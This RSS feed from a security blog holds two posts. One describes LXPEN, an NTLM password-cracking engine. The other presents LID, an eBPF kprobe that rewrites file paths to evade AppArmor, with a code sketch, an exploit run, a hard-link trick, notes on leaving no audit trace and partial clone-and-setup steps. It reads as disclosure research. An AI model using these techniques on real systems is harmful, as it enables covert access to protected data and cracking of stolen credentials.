<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: azqzazq1</title>
    <description>The latest articles on Forem by azqzazq1 (@azqzazq1).</description>
    <link>https://forem.com/azqzazq1</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3920642%2F7b043b63-198e-4b09-b3b5-3675e8ff7309.png</url>
      <title>Forem: azqzazq1</title>
      <link>https://forem.com/azqzazq1</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/azqzazq1"/>
    <language>en</language>
    <item>
      <title>Beyond Brute Force: Building LXPEN, a Memory-Assisted NTLM Exploration Engine</title>
      <dc:creator>azqzazq1</dc:creator>
      <pubDate>Sun, 24 May 2026 14:09:10 +0000</pubDate>
      <link>https://forem.com/azqzazq1/beyond-brute-force-building-lxpen-a-memory-assisted-ntlm-exploration-engine-4bcc</link>
      <guid>https://forem.com/azqzazq1/beyond-brute-force-building-lxpen-a-memory-assisted-ntlm-exploration-engine-4bcc</guid>
      <description>&lt;p&gt;Modern password cracking tools are incredibly fast.&lt;/p&gt;

&lt;p&gt;On modern GPUs, tools like Hashcat can process tens or even hundreds of billions of NTLM hashes per second. Yet despite this enormous throughput, one fundamental problem still remains:&lt;/p&gt;

&lt;p&gt;Most candidate passwords are meaningless.&lt;/p&gt;

&lt;p&gt;Traditional cracking workflows focus on increasing compute throughput:&lt;br&gt;
more GPU cores, more parallelism, more masks, larger wordlists, more rules.&lt;/p&gt;

&lt;p&gt;But what if the real optimization target is not hash throughput — but candidate quality?&lt;/p&gt;

&lt;p&gt;This idea became the foundation of LXPEN.&lt;/p&gt;


&lt;h1&gt;
  
  
  The NTLM Problem
&lt;/h1&gt;

&lt;p&gt;NTLM remains one of the most common password representations encountered during:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Active Directory assessments&lt;/li&gt;
&lt;li&gt;Internal penetration tests&lt;/li&gt;
&lt;li&gt;Red team operations&lt;/li&gt;
&lt;li&gt;Credential audits&lt;/li&gt;
&lt;li&gt;CTF environments&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Unlike modern password hashing schemes such as bcrypt or Argon2, NTLM is simply:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;MD4(UTF-16LE(password))
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This creates several properties:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;no salt&lt;/li&gt;
&lt;li&gt;extremely fast hashing&lt;/li&gt;
&lt;li&gt;deterministic outputs&lt;/li&gt;
&lt;li&gt;highly SIMD-friendly&lt;/li&gt;
&lt;li&gt;highly precomputation-friendly&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Traditional tools exploit this by maximizing brute-force throughput.&lt;/p&gt;

&lt;p&gt;LXPEN explores a different direction.&lt;/p&gt;




&lt;h1&gt;
  
  
  The Human Password Problem
&lt;/h1&gt;

&lt;p&gt;People do not generate passwords randomly.&lt;/p&gt;

&lt;p&gt;They construct them through mental templates.&lt;/p&gt;

&lt;p&gt;Examples:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Michael1994&lt;/li&gt;
&lt;li&gt;password123&lt;/li&gt;
&lt;li&gt;Galatasaray1905!&lt;/li&gt;
&lt;li&gt;P@ssw0rd123&lt;/li&gt;
&lt;li&gt;shadow99&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These passwords are not random strings.&lt;br&gt;
They are combinations of:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;known words&lt;/li&gt;
&lt;li&gt;names&lt;/li&gt;
&lt;li&gt;years&lt;/li&gt;
&lt;li&gt;symbols&lt;/li&gt;
&lt;li&gt;keyboard patterns&lt;/li&gt;
&lt;li&gt;l33t transformations&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In other words:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Human passwords are structured.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Traditional wordlist-based cracking partially exploits this idea, but only indirectly.&lt;/p&gt;

&lt;p&gt;LXPEN attempts to model this behavior explicitly.&lt;/p&gt;




&lt;h1&gt;
  
  
  Hierarchical Probabilistic Decomposition (HPD)
&lt;/h1&gt;

&lt;p&gt;At the core of LXPEN is HPD:&lt;br&gt;
Hierarchical Probabilistic Decomposition.&lt;/p&gt;

&lt;p&gt;Instead of reading candidates from a wordlist, HPD models password generation as a layered probabilistic system.&lt;/p&gt;
&lt;h2&gt;
  
  
  Layer 1 — Structural Templates
&lt;/h2&gt;

&lt;p&gt;Examples:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;[LowerWord + Digits]&lt;/li&gt;
&lt;li&gt;[CapWord + Year]&lt;/li&gt;
&lt;li&gt;[Name + Year + Symbol]&lt;/li&gt;
&lt;li&gt;[L33t + Digits]&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Each structure is assigned a probability weight derived from observed password behavior.&lt;/p&gt;


&lt;h2&gt;
  
  
  Layer 2 — Slot Frequency Modeling
&lt;/h2&gt;

&lt;p&gt;Each slot contains weighted entries.&lt;/p&gt;

&lt;p&gt;Examples:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;LowerWord:
password
shadow
dragon
butterfly
galatasaray

Year:
2024
1994
1907

Symbol:
!
@
#
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The engine does not treat all candidates equally.&lt;/p&gt;

&lt;p&gt;It prioritizes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;high-frequency structures&lt;/li&gt;
&lt;li&gt;high-frequency slot entries&lt;/li&gt;
&lt;li&gt;culturally relevant patterns&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Layer 3 — Probability-Ordered Candidate Generation
&lt;/h2&gt;

&lt;p&gt;Candidates are generated dynamically in probability order.&lt;/p&gt;

&lt;p&gt;This creates a fundamentally different exploration strategy compared to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;brute force&lt;/li&gt;
&lt;li&gt;static wordlists&lt;/li&gt;
&lt;li&gt;blind mutation rules&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;LXPEN attempts to minimize wasted computation.&lt;/p&gt;




&lt;h1&gt;
  
  
  CPU + RAM Cooperative Architecture
&lt;/h1&gt;

&lt;p&gt;Another design goal behind LXPEN was reducing dependency on massive GPU workflows.&lt;/p&gt;

&lt;p&gt;Modern cracking systems are usually compute-centric.&lt;/p&gt;

&lt;p&gt;LXPEN experiments with a different model:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;RAM becomes an active cracking component.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Instead of using memory only for buffering, the engine uses:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;pattern indexes&lt;/li&gt;
&lt;li&gt;slot tables&lt;/li&gt;
&lt;li&gt;candidate caches&lt;/li&gt;
&lt;li&gt;lookup structures&lt;/li&gt;
&lt;li&gt;multi-target state tracking&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The architecture is split into two layers:&lt;/p&gt;

&lt;h2&gt;
  
  
  Crystal Layer
&lt;/h2&gt;

&lt;p&gt;Responsible for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;orchestration&lt;/li&gt;
&lt;li&gt;pattern management&lt;/li&gt;
&lt;li&gt;slot modeling&lt;/li&gt;
&lt;li&gt;candidate-space exploration&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  C Core
&lt;/h2&gt;

&lt;p&gt;Responsible for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;NTLM hashing&lt;/li&gt;
&lt;li&gt;UTF-16LE conversion&lt;/li&gt;
&lt;li&gt;SIMD-friendly hot loops&lt;/li&gt;
&lt;li&gt;multi-threaded candidate execution&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This separation allowed rapid iteration at the exploration layer while keeping the hashing path extremely lightweight.&lt;/p&gt;




&lt;h1&gt;
  
  
  Candidate Efficiency vs Hash Throughput
&lt;/h1&gt;

&lt;p&gt;Most cracking discussions focus on:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;hashes per second
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;LXPEN instead focuses on:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;useful candidates per second
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This distinction matters.&lt;/p&gt;

&lt;p&gt;Generating 10 billion low-quality candidates is not always superior to generating 1 million highly probable ones.&lt;/p&gt;

&lt;p&gt;In benchmark scenarios focused on human-structured passwords, LXPEN showed significantly higher candidate efficiency compared to traditional wordlist-based approaches.&lt;/p&gt;

&lt;p&gt;The goal is not replacing Hashcat or John the Ripper.&lt;/p&gt;

&lt;p&gt;The goal is exploring a different optimization axis:&lt;br&gt;
reducing unnecessary candidate exploration.&lt;/p&gt;




&lt;h1&gt;
  
  
  Why This Matters
&lt;/h1&gt;

&lt;p&gt;As password policies evolve, users continue to follow predictable mental models.&lt;/p&gt;

&lt;p&gt;Even when complexity requirements are added, patterns remain:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;company names&lt;/li&gt;
&lt;li&gt;sports teams&lt;/li&gt;
&lt;li&gt;years&lt;/li&gt;
&lt;li&gt;keyboard sequences&lt;/li&gt;
&lt;li&gt;predictable symbol placement&lt;/li&gt;
&lt;li&gt;l33t substitutions&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This creates an opportunity for structure-aware exploration systems.&lt;/p&gt;

&lt;p&gt;LXPEN is an experiment in that direction.&lt;/p&gt;




&lt;h1&gt;
  
  
  Current Limitations
&lt;/h1&gt;

&lt;p&gt;LXPEN is not magic.&lt;/p&gt;

&lt;p&gt;It does not solve:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;cryptographically random passwords&lt;/li&gt;
&lt;li&gt;high-entropy secrets&lt;/li&gt;
&lt;li&gt;modern slow hash functions&lt;/li&gt;
&lt;li&gt;truly unpredictable password generation&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Passwords like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;xK9#mZ2pLq&lt;/li&gt;
&lt;li&gt;Tr0ub4dor&amp;amp;3&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;remain difficult — as they should.&lt;/p&gt;

&lt;p&gt;The engine is specifically designed around human-generated structure.&lt;/p&gt;




&lt;h1&gt;
  
  
  Future Work
&lt;/h1&gt;

&lt;p&gt;Several areas remain unexplored:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;adaptive probability updates during cracking sessions&lt;/li&gt;
&lt;li&gt;AVX2 / AVX-512 optimization&lt;/li&gt;
&lt;li&gt;memory-mapped precompute zones&lt;/li&gt;
&lt;li&gt;distributed candidate-space exploration&lt;/li&gt;
&lt;li&gt;Markov-assisted slot ordering&lt;/li&gt;
&lt;li&gt;PCFG integration&lt;/li&gt;
&lt;li&gt;hybrid exploration modes&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The most interesting direction may not be faster hashing.&lt;/p&gt;

&lt;p&gt;It may be better understanding of how humans construct passwords.&lt;/p&gt;




&lt;h1&gt;
  
  
  Closing Thoughts
&lt;/h1&gt;

&lt;p&gt;Brute force scales compute.&lt;/p&gt;

&lt;p&gt;LXPEN attempts to scale understanding.&lt;/p&gt;

&lt;p&gt;Instead of asking:&lt;br&gt;
“How can we hash faster?”&lt;/p&gt;

&lt;p&gt;the project asks:&lt;br&gt;
“How can we avoid hashing unnecessary candidates in the first place?”&lt;/p&gt;

&lt;p&gt;That shift in perspective became the foundation of LXPEN.&lt;/p&gt;




&lt;p&gt;GitHub:&lt;br&gt;
&lt;a href="https://github.com/azqzazq1/lxpen" rel="noopener noreferrer"&gt;https://github.com/azqzazq1/lxpen&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;DOI:&lt;br&gt;
&lt;a href="https://doi.org/10.5281/zenodo.20366383" rel="noopener noreferrer"&gt;https://doi.org/10.5281/zenodo.20366383&lt;/a&gt;&lt;/p&gt;

</description>
      <category>algorithms</category>
      <category>cybersecurity</category>
      <category>security</category>
      <category>tooling</category>
    </item>
    <item>
      <title>LID / Linux Is Dying</title>
      <dc:creator>azqzazq1</dc:creator>
      <pubDate>Sun, 17 May 2026 13:07:34 +0000</pubDate>
      <link>https://forem.com/azqzazq1/lid-linux-is-dying-34ke</link>
      <guid>https://forem.com/azqzazq1/lid-linux-is-dying-34ke</guid>
      <description>&lt;h1&gt;
  
  
  I Bypassed AppArmor Without Disabling It — Using eBPF
&lt;/h1&gt;

&lt;p&gt;The Linux Security Module framework has one iron rule that has held for &lt;strong&gt;20+ years&lt;/strong&gt;:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Security modules can only &lt;strong&gt;add&lt;/strong&gt; restrictions. They can never &lt;strong&gt;remove&lt;/strong&gt; them.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I didn't break that rule. I walked around it.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Setup
&lt;/h2&gt;

&lt;p&gt;AppArmor is a mandatory access control (MAC) system used on Ubuntu, Debian, SUSE, and most enterprise Linux distributions. It confines processes to a set of allowed file paths, network access, and capabilities.&lt;/p&gt;

&lt;p&gt;Here's a simple AppArmor profile:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight conf"&gt;&lt;code&gt;/&lt;span class="n"&gt;tmp&lt;/span&gt;/&lt;span class="n"&gt;test_reader&lt;/span&gt; {
  &lt;span class="n"&gt;deny&lt;/span&gt; /&lt;span class="n"&gt;tmp&lt;/span&gt;/&lt;span class="n"&gt;secret_test_file&lt;/span&gt;.&lt;span class="n"&gt;txt&lt;/span&gt; &lt;span class="n"&gt;rw&lt;/span&gt;,
  /&lt;span class="n"&gt;tmp&lt;/span&gt;/** &lt;span class="n"&gt;r&lt;/span&gt;,
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This says: &lt;code&gt;test_reader&lt;/code&gt; can read anything in &lt;code&gt;/tmp/&lt;/code&gt; &lt;strong&gt;except&lt;/strong&gt; &lt;code&gt;secret_test_file.txt&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;And it works:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/tmp/test_reader
&lt;span class="go"&gt;[-] DENIED: open() failed: Permission denied (errno=13)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;AppArmor is doing its job. The kernel's LSM framework iterates every security module, and AppArmor says no. Game over.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Or is it?&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  The Technique
&lt;/h2&gt;

&lt;p&gt;I wrote a BPF kprobe that attaches to &lt;code&gt;do_sys_openat2&lt;/code&gt; — the kernel's internal file-open handler. It fires &lt;strong&gt;before&lt;/strong&gt; the kernel copies the filename from userspace. At that point, the filename is still sitting in a writable user-space buffer.&lt;/p&gt;

&lt;p&gt;So I rewrote it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;SEC&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"kprobe/do_sys_openat2"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;BPF_KPROBE&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bypass_apparmor&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;dfd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Read the user-space filename&lt;/span&gt;
    &lt;span class="n"&gt;bpf_probe_read_user_str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;path_buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;path_buf&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// If it matches our target...&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;matches_target&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;path_buf&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// Rewrite it to a hard link that AppArmor allows&lt;/span&gt;
        &lt;span class="n"&gt;bpf_probe_write_user&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;bypass_path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The trick: I created a &lt;strong&gt;hard link&lt;/strong&gt; to the secret file at a path AppArmor allows:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;ln&lt;/span&gt; /tmp/secret_test_file.txt /tmp/.aa_bypass_link
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;AppArmor is &lt;strong&gt;pathname-based&lt;/strong&gt; — not inode-based like SELinux. Two hard links to the same file are completely different identities to AppArmor. The deny rule blocks &lt;code&gt;/tmp/secret_test_file.txt&lt;/code&gt; but the permissive &lt;code&gt;/tmp/** r&lt;/code&gt; rule allows &lt;code&gt;/tmp/.aa_bypass_link&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The BPF kprobe rewrites the path before the kernel copies it → AppArmor checks the allowed path → grants access → process reads the protected file's content.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Result
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/tmp/test_reader                    &lt;span class="c"&gt;# Without LID&lt;/span&gt;
&lt;span class="go"&gt;[-] DENIED: Permission denied

&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; ./lid_loader &amp;amp;                 &lt;span class="c"&gt;# Load LID&lt;/span&gt;
&lt;span class="go"&gt;[*] BPF kprobe attached to do_sys_openat2

&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/tmp/test_reader                    &lt;span class="c"&gt;# With LID&lt;/span&gt;
&lt;span class="go"&gt;[+] SUCCESS: Read 44 bytes: SECRET_DATA=this_is_protected_content_12345

&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;dmesg | &lt;span class="nb"&gt;grep &lt;/span&gt;apparmor | &lt;span class="nb"&gt;grep &lt;/span&gt;DENIED &lt;span class="c"&gt;# Check audit log&lt;/span&gt;
&lt;span class="gp"&gt;(empty)                               #&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;No denial was ever generated
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;AppArmor was never defeated. It was deceived.&lt;/strong&gt; It correctly enforced its policy — on the wrong path.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why BPF LSM Can't Do This
&lt;/h2&gt;

&lt;p&gt;You might think: "Just use BPF LSM to override AppArmor." I tried. It can't.&lt;/p&gt;

&lt;p&gt;The kernel's &lt;code&gt;call_int_hook&lt;/code&gt; macro iterates LSM hooks and &lt;strong&gt;short-circuits on the first denial&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;hlist_for_each_entry&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;security_hook_heads&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;FUNC&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;list&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;RC&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;hook&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;FUNC&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;__VA_ARGS__&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;RC&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;    &lt;span class="c1"&gt;// first deny wins&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;BPF before AppArmor&lt;/strong&gt;: BPF returns 0 (allow), loop continues, AppArmor denies.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;BPF after AppArmor&lt;/strong&gt;: AppArmor denies, loop breaks, BPF never runs.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The LSM framework is secure. No module can undo another's denial. &lt;strong&gt;But kprobes don't go through the framework.&lt;/strong&gt; They attach directly to kernel functions and execute before any LSM hook is consulted.&lt;/p&gt;

&lt;p&gt;Two kernel subsystems. Incompatible trust assumptions. One gap.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Architecture
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;  process: open("/tmp/secret.txt")
       │
       ▼
  do_sys_openat2()
       │
   ★ LID kprobe fires here
   │  bpf_probe_write_user()
   │  rewrites "/tmp/secret.txt" → "/tmp/.bypass_link"
       │
       ▼
  getname_flags()          ← kernel copies the (rewritten) path
       │
       ▼
  security_file_open()     ← LSM hooks check "/tmp/.bypass_link"
       │                      AppArmor: ALLOW ✓
       ▼
  VFS opens inode          ← same file content
       │
       ▼
  return fd to process     ← success, zero audit trace
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Stealth
&lt;/h2&gt;

&lt;p&gt;This isn't just a bypass — it's an &lt;strong&gt;invisible&lt;/strong&gt; bypass:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;What&lt;/th&gt;
&lt;th&gt;Visible?&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;AppArmor audit log&lt;/td&gt;
&lt;td&gt;Empty — denial never occurred&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;auditd&lt;/code&gt; / &lt;code&gt;journald&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Nothing — no security event&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;dmesg&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;One generic &lt;code&gt;bpf_probe_write_user&lt;/code&gt; warning&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;bpftool prog list&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Shows kprobe (if someone checks)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The only artifact is a one-time kernel warning that says a BPF program &lt;em&gt;might&lt;/em&gt; write to user memory. It doesn't say what, where, or when.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Bigger Picture
&lt;/h2&gt;

&lt;p&gt;This technique pairs with my earlier research &lt;strong&gt;SunnyDayBPF&lt;/strong&gt; — which manipulates telemetry data &lt;em&gt;after&lt;/em&gt; syscalls complete:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;SunnyDayBPF&lt;/th&gt;
&lt;th&gt;LID&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;When&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Post-syscall&lt;/td&gt;
&lt;td&gt;Pre-LSM-check&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;What&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Audit/telemetry data&lt;/td&gt;
&lt;td&gt;Syscall arguments&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Effect&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Blind the cameras&lt;/td&gt;
&lt;td&gt;Bypass the gate&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Combined: ghost access.&lt;/strong&gt; Bypass the security check, then rewrite what the monitoring system observed. The SIEM sees nothing. The analyst sees nothing.&lt;/p&gt;




&lt;h2&gt;
  
  
  Limitations
&lt;/h2&gt;

&lt;p&gt;Being honest about what this can't do:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Writable buffer required&lt;/strong&gt; — if the path is a string literal in &lt;code&gt;.rodata&lt;/code&gt; (read-only memory), &lt;code&gt;bpf_probe_write_user&lt;/code&gt; fails. Most real programs use dynamically constructed paths though.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hard link needed&lt;/strong&gt; — attacker must create a hard link on the same filesystem.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Root/CAP_BPF required&lt;/strong&gt; — you need privileges to load BPF programs. But the value isn't "root can read files" (trivial) — it's "root can read files &lt;strong&gt;without AppArmor knowing&lt;/strong&gt;."&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;AppArmor only&lt;/strong&gt; — SELinux uses inode labels, not paths. Path rewriting doesn't help there.&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Try It
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone https://github.com/azqzazq1/LID
&lt;span class="nb"&gt;cd &lt;/span&gt;LID
&lt;span class="nb"&gt;sudo&lt;/span&gt; ./scripts/setup_env.sh    &lt;span class="c"&gt;# install deps&lt;/span&gt;
